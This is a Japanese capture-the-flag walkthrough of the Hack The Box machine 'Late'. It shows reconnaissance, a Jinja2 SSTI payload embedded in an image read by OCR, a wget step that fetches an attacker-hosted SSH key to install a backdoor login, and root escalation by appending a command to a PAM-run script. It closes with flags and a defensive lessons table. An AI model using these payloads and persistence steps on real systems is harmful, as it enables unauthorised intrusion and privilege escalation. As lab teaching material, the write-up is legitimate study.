Hack The BoxのWriteup(Late)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Late — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
vhostファジング
images.late.htb発見
→
画像内テキストをJinja2評価
Flask製OCRアプリのバグ
→
8000px幅の画像にSSTIペイロード埋込
OCRにコマンド実行させる
→
svc_acc権限でRCE
user.txt ✓
→
wgetでSSH公開鍵を永続化
安定したシェルを確保
→
append-onlyなssh-alert.shへ追記
PAM経由でrootとして実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -sV -sC -p 22,80 10.129.227.134
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
ℹ️
トップページは「Late – Best online image tools」という画像編集サービスのランディングページ (Bootstrap/MDBテンプレート)。ポート22のSSHバナーからUbuntu 18.04系と推測できる。
PHASE 2

画像OCR専用サブドメインの発見

vhostファジングでサブドメインを探索

BASH
echo "10.129.227.134 late.htb" >> /etc/hosts

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://late.htb/ -H 'Host: FUZZ.late.htb' -fs <baselineサイズ>
RESULT
images  [Status: 200, Size: ...]
✅
images.late.htb というサブドメインを発見。/etc/hostsに追加してアクセスすると、 「Image Reader」というタイトルの別アプリが動いている。
BASH
echo "10.129.227.134 images.late.htb" >> /etc/hosts
curl -s --resolve images.late.htb:80:10.129.227.134 http://images.late.htb/
RESULT(抜粋)
<title>Image Reader</title>
(画像をアップロードするとOCR(文字認識)で読み取った内容を表示するツール)
PHASE 3

Jinja2 SSTI(OCR結果のテンプレート評価)& user.txt

脆弱性の仕組み

NOTE
このFlaskアプリは「画像をアップロード → Tesseract OCRで文字起こし → 結果をHTMLに
埋め込んで表示」という処理を行う。実装側のバグとして、OCRで読み取った文字列を
サニタイズせずそのままJinja2テンプレートとしてレンダリングしている
(例: render_template_string(ocr_result) のような実装)。
つまり画像内に埋め込んだテキストがOCRに正しく認識されさえすれば、
それはJinja2のServer-Side Template Injection(SSTI)として評価される。

SSTIペイロードを含む画像の生成

PYTHON (Pillowで画像生成)
from PIL import Image, ImageDraw, ImageFont

font_path = "/usr/share/fonts/truetype/liberation/LiberationMono-Regular.ttf"
payload = '{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen("id").read() }}'

# 幅8000px・フォントサイズ18ptが必須。幅が足りないと長いペイロードが
# 画像からはみ出しOCRが読み取れず、短いコマンドでも誤認識が起きやすくなる。
img = Image.new("RGB", (8000, 120), color="white")
draw = ImageDraw.Draw(img)
font = ImageFont.truetype(font_path, 18)
draw.text((0, 10), payload, fill=(0, 0, 0), font=font)
img.save("payload_id.png")
⚠️
実機でのハマりポイント: 画像幅が3000px程度だと短いコマンド(127文字以下)は 通ることがあるが、長いコマンド(後述のwget注入ペイロード等)は確実に文字がはみ出して OCRが読み違える。幅8000px・フォント18ptの組み合わせがどのペイロード長でも 安定して認識される。

OCRエンドポイントへアップロードしRCEを確認

BASH
curl -s -X POST -F "file=@payload_id.png" \
  --resolve images.late.htb:80:10.129.227.134 \
  http://images.late.htb/scanner
RESULT
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)</p>
✅
SSTI経由のRCE成功! アップロードしたPNG画像のテキストがOCRで読み取られ、 そのままJinja2テンプレートとして評価・実行された。svc_accユーザー権限での コマンド実行が確認できた。

user.txt取得

PYTHON (ペイロード差し替え)
payload = '{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen("cat /home/svc_acc/user.txt").read() }}'
RESULT
<p>eebccde6394133b3df1e0b818ed0bf37</p>
user.txt — svc_acc
eebccde6394133b3df1e0b818ed0bf37
PHASE 4

安定したSSHアクセスの確立(wget方式の鍵注入)

攻撃用SSH鍵ペアの生成とKali側HTTPサーバー起動

BASH
ssh-keygen -t ed25519 -f late_key -N "" -q

# 生成した公開鍵をターゲットから取得できるようKali側でHTTP配信
python3 -m http.server 8862 --bind 0.0.0.0 --directory .
ℹ️
なぜechoで直接authorized_keysに書き込まないのか: SSH公開鍵は長いbase64文字列のため、画像に直接埋め込んでOCRさせる方式は誤認識リスクが 非常に高い(1文字でも誤読されると鍵として無効になる)。代わりに wgetでKali側から鍵ファイルを直接取得させる方式にすると、 OCRが読み取る必要があるのは短いURLを含むコマンド文字列だけで済み、 鍵データ自体の文字起こし誤りを完全に回避できる。

SSTI経由でwgetを実行しauthorized_keysへ追記

PYTHON (注入コマンド)
cmd = (
    "wget -q http://<KALI_IP>:8862/late_key.pub -O /tmp/lk && "
    "mkdir -p /home/svc_acc/.ssh && "
    "cat /tmp/lk >> /home/svc_acc/.ssh/authorized_keys && "
    "chmod 700 /home/svc_acc/.ssh && "
    "chmod 600 /home/svc_acc/.ssh/authorized_keys && "
    "rm -f /tmp/lk"
)
# 上と同じ要領で8000px画像にこのコマンドのSSTIペイロードを埋め込みアップロード
RESULT (Kali側HTTPサーバーのログ)
10.129.227.134 - - [...] "GET /late_key.pub HTTP/1.1" 200 -
✅
ターゲット側から鍵ファイルへのGETリクエストが届いた=wgetコマンドが 正常に実行された証拠。

SSH接続の確認

BASH
ssh -i late_key svc_acc@10.129.227.134 "id"
RESULT
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
PHASE 5

append-onlyなroot実行スクリプトの悪用 & root.txt

ssh-alert.sh の発見と属性確認

BASH
ls -la /usr/local/sbin/ssh-alert.sh
lsattr /usr/local/sbin/ssh-alert.sh
cat /usr/local/sbin/ssh-alert.sh
RESULT
-rwxr-xr-x 1 svc_acc svc_acc 433 ... /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh

#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
        User:        $PAM_USER
        ...
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
🚨
致命的な設定ミスの組み合わせ:
  1. このスクリプトはsvc_acc所有(svc_accに書き込み権限あり)
  2. lsattrのa属性=追記専用(append-only)。 上書き・削除はchattr -a権限(root)が無いとできないが、 末尾への追記はsvc_accでも可能
  3. PAMのpam_exec設定により、SSHログインのたびにroot権限で 自動実行される(open_sessionフック)

root.txtコピーコマンドを追記

BASH
ssh -i late_key svc_acc@10.129.227.134 \
  'echo "cp /root/root.txt /tmp/.late_flag && chmod 644 /tmp/.late_flag" >> /usr/local/sbin/ssh-alert.sh'
RESULT (追記後のtail確認)
...
cp /root/root.txt /tmp/.late_flag && chmod 644 /tmp/.late_flag

再SSHログインでトリガー & root.txt取得

BASH
# 新しいSSHセッションを開く = PAM open_session が発火 = ssh-alert.sh がrootとして実行される
ssh -i late_key svc_acc@10.129.227.134 "id"

# 少し待ってからコピーされたフラグを読む
ssh -i late_key svc_acc@10.129.227.134 "cat /tmp/.late_flag"
RESULT
c94f28939553210fa68a6a40cb18dd57
✅
追記した行がroot権限で実行され、/root/root.txtがsvc_accでも 読み取れる場所へコピーされた。SSHログインという通常操作そのものが 権限昇格のトリガーになっている点が本マシンの核心。
root.txt — ssh-alert.sh append-only悪用
c94f28939553210fa68a6a40cb18dd57
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc_acc
eebccde6394133b3df1e0b818ed0bf37
root.txt — root
c94f28939553210fa68a6a40cb18dd57

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Jinja2 SSTI (OCR結果の未サニタイズ評価) images.late.htb の Flask OCRアプリ リモートコード実行(svc_acc権限) Critical アップロード画像内のテキストをOCRで読み取った後、そのままJinja2テンプレートとしてレンダリング
append-onlyスクリプトの悪用可能な所有権 /usr/local/sbin/ssh-alert.sh (PAM open_session) 権限昇格(一般ユーザー → root) Critical svc_acc所有+append専用属性のためスクリプト末尾へroot実行コマンドを追記可能。SSHログインのたびにroot権限で発火

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/80(nginx, Late画像編集サイト)
2サブドメイン発見vhostファジングimages.late.htb(画像OCRツール)
3RCE8000px/18pt画像にSSTIペイロードを埋込みOCRアップロードuser.txt(svc_acc, Jinja2 SSTI)
4永続化SSTI経由wgetでSSH公開鍵をauthorized_keysへ追記安定したSSHシェル(svc_acc)
5権限昇格append-onlyなssh-alert.shへroot実行コマンドを追記しSSH再ログインで発火root.txt

学んだ教訓 & 防御策

問題点防御策
OCR結果を未サニタイズのままJinja2テンプレートとしてレンダリングしている ユーザー由来のあらゆる文字列(OCR結果含む)はrender_template_string系の関数に渡さず、固定テンプレート+変数差し込み(自動エスケープ有効)の形で表示する。Jinja2のサンドボックス化(SandboxedEnvironment)も検討する。
root権限で自動実行されるスクリプトが一般ユーザー所有になっている root権限で実行されるPAMフックスクリプト等は必ずroot所有・root書き込み専用にし、一般ユーザーの書き込み権限を一切与えない。
append-only属性(chattr +a)だけでは「改ざん不可」を保証できない append-onlyは既存内容の保護にはなるが、追記による新規コード注入までは防げない点を理解する。root実行スクリプトへの書き込み権限自体を完全に排除するのが唯一の確実な対策。
HackTheBox: Late | 完全攻略レポート